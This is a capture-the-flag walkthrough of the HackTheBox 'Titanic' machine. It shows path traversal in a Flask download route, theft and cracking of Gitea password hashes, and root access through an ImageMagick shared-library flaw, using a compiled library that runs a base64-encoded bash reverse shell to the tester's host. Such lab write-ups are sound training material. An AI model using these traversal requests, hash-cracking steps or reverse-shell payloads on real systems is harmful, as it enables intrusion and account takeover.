Titanic

Introduction

Hi everyone, how are you doing? Today, we are doing the "Titanic" from hackthebox, which is an easy to medium box for beginners.

This box starts with a directory traversal vulnerability in a Flask application, which discloses one of the vhosts running the gitea instance.

Upon downloading the source from the discovered Gitea instance, we get to know details regarding how Gitea is configured and where the Gitea users’ database is, which leads to finding the hashes. There is a small tangent before you go on cracking these hashes to get the shell on the box as “developer”.

Once you get the shell on the box, there is a script run by cron as the root user every minute, using a version of ImageMagick that is vulnerable to Remote Code Execution. We exploit this vulnerability to get root on the box.

With that being said, let’s jump in.

Attacking with NMAP

After connecting to the box through OpenVPN, we get the IP of the “Titanic”.

We start attacking the box using nmap with the following command

nmap -sC -sV -oA nmap/titanic -vv 10.10.11.55

Where,

-sC to run default scripts when a port is open.

-sV enumerates the versions of services running on ports.

-oA output all the formats and put in nmap directory.

-vv for verbose

Following is the scan result

22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
|   256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/ <------- vhost reveal
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap scan says there are two ports open

As the nmap scan reveals virtual host titanic.htb , let’s add that in /etc/hosts and access the website.

cat /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
# Others
10.10.11.55     titanic.htb       <--------

Accessing the website

After accessing the web page, there is not much on UI to interact with.

Using the 0xdf 404 page collection, we initially guess that it is a Flask application.

Directory busting using gobuster

While we are browsing the web page, we can start the directory busting in background using the gobuster using following command

gobuster dir -u http://titanic.htb/ \ 
             -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt \ 
             -o gobuster-out.log

Where,

-u for URL of the target

-w for wordlist to use for directory busting

-o output logs to file

This shows that there are two routes present.

/download             (Status: 400) [Size: 41]
/book                 (Status: 405) [Size: 153]

Directory traversal vulnerability at /download

Upon playing with /download route, we come to know that /download has directory traversal vulnerability.

Using the ticket query param user can reveal the content of files.

For example, below screenshot shows how we can read contents of /etc/passwd from server.

After downloading the /etc/passwd and checking users with shell access, we have the “developer” user on the box.

curl --silent --path-as-is http://titanic.htb/download?ticket=../../../../../../../../etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash <------

Getting the user.txt

At this point, we can read the user flag using the following command

curl --silent --path-as-is http://titanic.htb/download?ticket=../../../../../../../home/developer/user.txt

Discovering the Gitea Instance

Using the directory traversal trick mentioned above, we can read /etc/hosts to find potential virtual hosts configured on the box.

This reveals a new vhost dev.titanic.htb

Let’s add this in our /etc/hosts and access the website

cat /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
# Others
10.10.11.55     titanic.htb dev.titanic.htb <----- added "dev.titanic.htb"

When we open this in the browser, we find that it is a Gitea instance.

Downloading and analyzing the source from Gitea

When we click on “Explore,” we can access the following public repositories from “developer” user.

Using the git we can clone these repos,

git clone http://dev.titanic.htb/developer/docker-config.git
git clone http://dev.titanic.htb/developer/flask-app.git

Analyzing docker-config repo

Under docker-config, we are given two docker-compose.yml, one for Gitea and one for MySQL.

$ git -C docker-config/ ls-files

README.md
gitea/docker-compose.yml
mysql/docker-compose.yml

mysql’s docker-compose file is not that interesting.

If we read the Gitea’s docker-compose file, we can understand how Gitea is set up on the VM using Docker.

There is one host bind mount that is interesting.

$cat docker-config/gitea/docker-compose.yml 
version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path   <----------
    environment:
      - USER_UID=1000
      - USER_GID=1000

Using the directory traversal we discovered earlier, we can read the configuration file for Gitea. (See the screenshot below)

In the configuration file, the Gitea database location is disclosed.

It is located at /data/gitea/gitea.db inside the container, which means it is at /home/developer/gitea/data/gitea/gitea.db on the host..

We can download the Gitea database using the following command

$ wget \
     --quiet \
     --show-progress \
     -O gitea.db \
     http://titanic.htb/download?ticket=../../../../../../home/developer/gitea/data/gitea/gitea.db

gitea.db                                100%[=============================================================================>]   1.99M   154KB/s    in 18s

$file gitea.db 
gitea.db: SQLite 3.x database, last written using SQLite version 3045001, 
file counter 563, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 563

Analyzing the flask-app repo

This repository contains the source code of a vulnerable Flask app. We will explore the details of this source in the "Beyond root" section.

Cracking Gitea user hashes and Shell as developer

We can get the user and hashes from the Gitea SQLite3 database using the following command

$sqlite3 gitea.db 'select email,passwd from user'

root@titanic.htb|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
developer@titanic.htb|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56

We cannot use these hashes as is because this is not a valid hash format according to hashcat

$cat hashes
cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56

$hashcat hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
--[snip]--
No hash-mode matches the structure of the input hash. <-------

We use the script gitea2hashcat.py to convert the hashes to hashcat format.

$sqlite3 gitea.db 'select passwd,salt from user' | ./gitea2hashcat.py 
[+] Run the output hashes through hashcat mode 10900 (PBKDF2-HMAC-SHA256)

sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

Upon cracking these hashes using hashcat (mode 10900), we get the password for “developer” user as “25282528”

We can log in using SSH as the developer user with the password.

ssh developer@titanic.htb                                                                                                                               
developer@titanic.htb's password: *******

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
--[snip]--

developer@titanic:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
developer@titanic:~$

PrivEsc

Upon login into the VM, we can run a recon script linpeas.sh to list services, configuration files, and their locations on the box.

One thing that stands out is,

there is a script under /opt/scripts directory called identify_images.sh

developer@titanic:/opt/scripts$ cat identify_images.sh 

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

So this script lists all the JPEG images under /opt/app/static/assets/images and runs ImageMagick on each of them and appends the output to the file metadata.log

If we look at the version of ImageMagick binary, the version is 7.1.1-35

developer@titanic:/opt/scripts$ /usr/bin/magick --version

Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

Googling “ImageMagick 7.1.1-35 exploit” will give us this github security advisory page.

According to the page,

The AppImage version ImageMagick might use an empty path when setting MAGICK_CONFIGURE_PATH and LD_LIBRARY_PATH environment variables while executing, which might lead to arbitrary code execution by loading malicious configuration files or shared libraries in the current working directory while executing ImageMagick

We are going to take advantage of fact of that vulnerability is in LD_LIBRARY_PATH

environment variable.

We switch to the directory /opt/app/static/assets/images, and create a malicious shared library using following command

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjcvOTAwMSAwPiYxCg== | base64 -d | bash");
    exit(0);
}
EOF

Where base64 in the command is base64 encoded version of following revshell.

bash -i >& /dev/tcp/10.10.14.127/9001 0>&1

We stand up a netcat listener at port 9001.

And boom! We receive a callback as the root user within a minute or so.. 🎉🎉

$nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.133] from (UNKNOWN) [10.10.11.55] 57170
bash: cannot set terminal process group (98504): Inappropriate ioctl for device
bash: no job control in this shell

root@titanic:/opt/app/static/assets/images# id
id
uid=0(root) gid=0(root) groups=0(root)

root@titanic:/opt/app/static/assets/images# cat /root/root.txt
cat /root/root.txt
57f*********************

Beyond root

If we go back to the point, where we downloaded sources from Gitea instance,

there's a repo called “flask-app" which contains source of vulnerable Flask app.

If we read the file flask-app/app.py, there is a directory traversal vulnerability in /download route.

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')       <--------- ticket can be like ../../../../etc/passwd
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket) <--- blindly used user input without validation

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

Above code is accessing the ticket variable from the user which can be like ../../../../../etc/passwd

And it is passed blindly without any validation to

json_filepath = os.path.join(TICKETS_DIR, ticket)

So food for thought, how can we patch this vulnerability? Let me know in the comment if you have interesting ideas regarding same…